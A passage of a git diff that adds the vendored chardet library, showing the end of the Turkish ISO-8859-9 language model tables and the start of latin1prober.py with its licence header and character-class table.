'Ş' + 19: 0, # 'ş' + }, + 54: { # 'Ç' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 0, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 0, # 'h' + 3: 3, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 2, # 'r' + 8: 0, # 's' + 9: 1, # 't' + 14: 0, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 2, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 50: { # 'Ö' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 2, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 2, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 1, # 'N' + 42: 2, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 2, # 'd' + 2: 0, # 'e' + 18: 1, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 0, # 'j' + 10: 2, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 3, # 'n' + 15: 2, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 1, # 's' + 9: 2, # 't' + 14: 0, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 2, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 55: { # 'Ü' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 1, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 59: { # 'â' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 1, # 'Ş' + 19: 0, # 'ş' + }, + 33: { # 'ç' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 0, # 'e' + 18: 2, # 'f' + 27: 1, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 0, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 2, # 's' + 9: 3, # 't' + 14: 0, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 61: { # 'î' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 1, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 1, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 34: { # 'ö' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 1, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 2, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 1, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 3, # 's' + 9: 1, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 2, # 'ğ' + 41: 1, # 'İ' + 6: 1, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 17: { # 'ü' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 1, # 'f' + 27: 2, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 1, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 2, # 'r' + 8: 3, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 1, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 30: { # 'ğ' + 23: 0, # 'A' + 37: 2, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 2, # 'N' + 42: 2, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 3, # 'j' + 10: 1, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 2, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 2, # 'İ' + 6: 2, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 41: { # 'İ' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 1, # 'E' + 52: 0, # 'F' + 36: 2, # 'G' + 45: 2, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 1, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 2, # 'd' + 2: 1, # 'e' + 18: 0, # 'f' + 27: 3, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 2, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 15: 1, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 2, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 1, # 'Ü' + 59: 1, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 1, # 'ü' + 30: 2, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 6: { # 'ı' + 23: 2, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 2, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 1, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 3, # 'f' + 27: 3, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 3, # 'v' + 57: 1, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 40: { # 'Ş' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 1, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 2, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 2, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 1, # 'Z' + 1: 0, # 'a' + 21: 2, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 0, # 'e' + 18: 3, # 'f' + 27: 0, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 3, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 3, # 'r' + 8: 2, # 's' + 9: 2, # 't' + 14: 1, # 'u' + 32: 3, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 1, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 1, # 'ü' + 30: 2, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 1, # 'Ş' + 19: 2, # 'ş' + }, + 19: { # 'ş' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 2, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 1, # 'h' + 3: 1, # 'i' + 24: 0, # 'j' + 10: 2, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 1, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 1, # 'ı' + 40: 1, # 'Ş' + 19: 1, # 'ş' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +ISO_8859_9_TURKISH_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 255, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 255, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 255, # ' ' + 33: 255, # '!' + 34: 255, # '"' + 35: 255, # '#' + 36: 255, # '$' + 37: 255, # '%' + 38: 255, # '&' + 39: 255, # "'" + 40: 255, # '(' + 41: 255, # ')' + 42: 255, # '*' + 43: 255, # '+' + 44: 255, # ',' + 45: 255, # '-' + 46: 255, # '.' + 47: 255, # '/' + 48: 255, # '0' + 49: 255, # '1' + 50: 255, # '2' + 51: 255, # '3' + 52: 255, # '4' + 53: 255, # '5' + 54: 255, # '6' + 55: 255, # '7' + 56: 255, # '8' + 57: 255, # '9' + 58: 255, # ':' + 59: 255, # ';' + 60: 255, # '<' + 61: 255, # '=' + 62: 255, # '>' + 63: 255, # '?' + 64: 255, # '@' + 65: 23, # 'A' + 66: 37, # 'B' + 67: 47, # 'C' + 68: 39, # 'D' + 69: 29, # 'E' + 70: 52, # 'F' + 71: 36, # 'G' + 72: 45, # 'H' + 73: 53, # 'I' + 74: 60, # 'J' + 75: 16, # 'K' + 76: 49, # 'L' + 77: 20, # 'M' + 78: 46, # 'N' + 79: 42, # 'O' + 80: 48, # 'P' + 81: 69, # 'Q' + 82: 44, # 'R' + 83: 35, # 'S' + 84: 31, # 'T' + 85: 51, # 'U' + 86: 38, # 'V' + 87: 62, # 'W' + 88: 65, # 'X' + 89: 43, # 'Y' + 90: 56, # 'Z' + 91: 255, # '[' + 92: 255, # '\\' + 93: 255, # ']' + 94: 255, # '^' + 95: 255, # '_' + 96: 255, # '`' + 97: 1, # 'a' + 98: 21, # 'b' + 99: 28, # 'c' + 100: 12, # 'd' + 101: 2, # 'e' + 102: 18, # 'f' + 103: 27, # 'g' + 104: 25, # 'h' + 105: 3, # 'i' + 106: 24, # 'j' + 107: 10, # 'k' + 108: 5, # 'l' + 109: 13, # 'm' + 110: 4, # 'n' + 111: 15, # 'o' + 112: 26, # 'p' + 113: 64, # 'q' + 114: 7, # 'r' + 115: 8, # 's' + 116: 9, # 't' + 117: 14, # 'u' + 118: 32, # 'v' + 119: 57, # 'w' + 120: 58, # 'x' + 121: 11, # 'y' + 122: 22, # 'z' + 123: 255, # '{' + 124: 255, # '|' + 125: 255, # '}' + 126: 255, # '~' + 127: 255, # '\x7f' + 128: 180, # '\x80' + 129: 179, # '\x81' + 130: 178, # '\x82' + 131: 177, # '\x83' + 132: 176, # '\x84' + 133: 175, # '\x85' + 134: 174, # '\x86' + 135: 173, # '\x87' + 136: 172, # '\x88' + 137: 171, # '\x89' + 138: 170, # '\x8a' + 139: 169, # '\x8b' + 140: 168, # '\x8c' + 141: 167, # '\x8d' + 142: 166, # '\x8e' + 143: 165, # '\x8f' + 144: 164, # '\x90' + 145: 163, # '\x91' + 146: 162, # '\x92' + 147: 161, # '\x93' + 148: 160, # '\x94' + 149: 159, # '\x95' + 150: 101, # '\x96' + 151: 158, # '\x97' + 152: 157, # '\x98' + 153: 156, # '\x99' + 154: 155, # '\x9a' + 155: 154, # '\x9b' + 156: 153, # '\x9c' + 157: 152, # '\x9d' + 158: 151, # '\x9e' + 159: 106, # '\x9f' + 160: 150, # '\xa0' + 161: 149, # '¡' + 162: 148, # '¢' + 163: 147, # '£' + 164: 146, # '¤' + 165: 145, # '¥' + 166: 144, # '¦' + 167: 100, # '§' + 168: 143, # '¨' + 169: 142, # '©' + 170: 141, # 'ª' + 171: 140, # '«' + 172: 139, # '¬' + 173: 138, # '\xad' + 174: 137, # '®' + 175: 136, # '¯' + 176: 94, # '°' + 177: 80, # '±' + 178: 93, # '²' + 179: 135, # '³' + 180: 105, # '´' + 181: 134, # 'µ' + 182: 133, # '¶' + 183: 63, # '·' + 184: 132, # '¸' + 185: 131, # '¹' + 186: 130, # 'º' + 187: 129, # '»' + 188: 128, # '¼' + 189: 127, # '½' + 190: 126, # '¾' + 191: 125, # '¿' + 192: 124, # 'À' + 193: 104, # 'Á' + 194: 73, # 'Â' + 195: 99, # 'Ã' + 196: 79, # 'Ä' + 197: 85, # 'Å' + 198: 123, # 'Æ' + 199: 54, # 'Ç' + 200: 122, # 'È' + 201: 98, # 'É' + 202: 92, # 'Ê' + 203: 121, # 'Ë' + 204: 120, # 'Ì' + 205: 91, # 'Í' + 206: 103, # 'Î' + 207: 119, # 'Ï' + 208: 68, # 'Ğ' + 209: 118, # 'Ñ' + 210: 117, # 'Ò' + 211: 97, # 'Ó' + 212: 116, # 'Ô' + 213: 115, # 'Õ' + 214: 50, # 'Ö' + 215: 90, # '×' + 216: 114, # 'Ø' + 217: 113, # 'Ù' + 218: 112, # 'Ú' + 219: 111, # 'Û' + 220: 55, # 'Ü' + 221: 41, # 'İ' + 222: 40, # 'Ş' + 223: 86, # 'ß' + 224: 89, # 'à' + 225: 70, # 'á' + 226: 59, # 'â' + 227: 78, # 'ã' + 228: 71, # 'ä' + 229: 82, # 'å' + 230: 88, # 'æ' + 231: 33, # 'ç' + 232: 77, # 'è' + 233: 66, # 'é' + 234: 84, # 'ê' + 235: 83, # 'ë' + 236: 110, # 'ì' + 237: 75, # 'í' + 238: 61, # 'î' + 239: 96, # 'ï' + 240: 30, # 'ğ' + 241: 67, # 'ñ' + 242: 109, # 'ò' + 243: 74, # 'ó' + 244: 87, # 'ô' + 245: 102, # 'õ' + 246: 34, # 'ö' + 247: 95, # '÷' + 248: 81, # 'ø' + 249: 108, # 'ù' + 250: 76, # 'ú' + 251: 72, # 'û' + 252: 17, # 'ü' + 253: 6, # 'ı' + 254: 19, # 'ş' + 255: 107, # 'ÿ' +} + +ISO_8859_9_TURKISH_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-9', + language='Turkish', + char_to_order_map=ISO_8859_9_TURKISH_CHAR_TO_ORDER, + language_model=TURKISH_LANG_MODEL, + typical_positive_ratio=0.97029, + keep_ascii_letters=True, + alphabet='ABCDEFGHIJKLMNOPRSTUVYZabcdefghijklmnoprstuvyzÂÇÎÖÛÜâçîöûüĞğİıŞş') + diff --git a/src/thirdparty/chardet/latin1prober.py b/src/thirdparty/chardet/latin1prober.py new file mode 100644 index 0000000000..7d1e8c20fb --- /dev/null +++ b/src/thirdparty/chardet/latin1prober.py @@ -0,0 +1,145 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .enums import ProbingState + +FREQ_CAT_NUM = 4 + +UDF = 0 # undefined +OTH = 1 # other +ASC = 2 # ascii capital letter +ASS = 3 # ascii small letter +ACV = 4 # accent capital vowel +ACO = 5 # accent capital other +ASV = 6 # accent small vowel +ASO = 7 # accent small other +CLASS_NUM = 8 # total classes + +Latin1_CharToClass = ( + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 00 - 07 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 08 - 0F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 10 - 17 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 18 - 1F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 20 - 27 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 28 - 2F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 30 - 37 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 38 - 3F + OTH, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 40 - 47 + ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 48 - 4F + ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 50 - 57 + ASC, ASC, ASC, OTH, OTH, OTH, OTH, OTH, # 58 - 5F 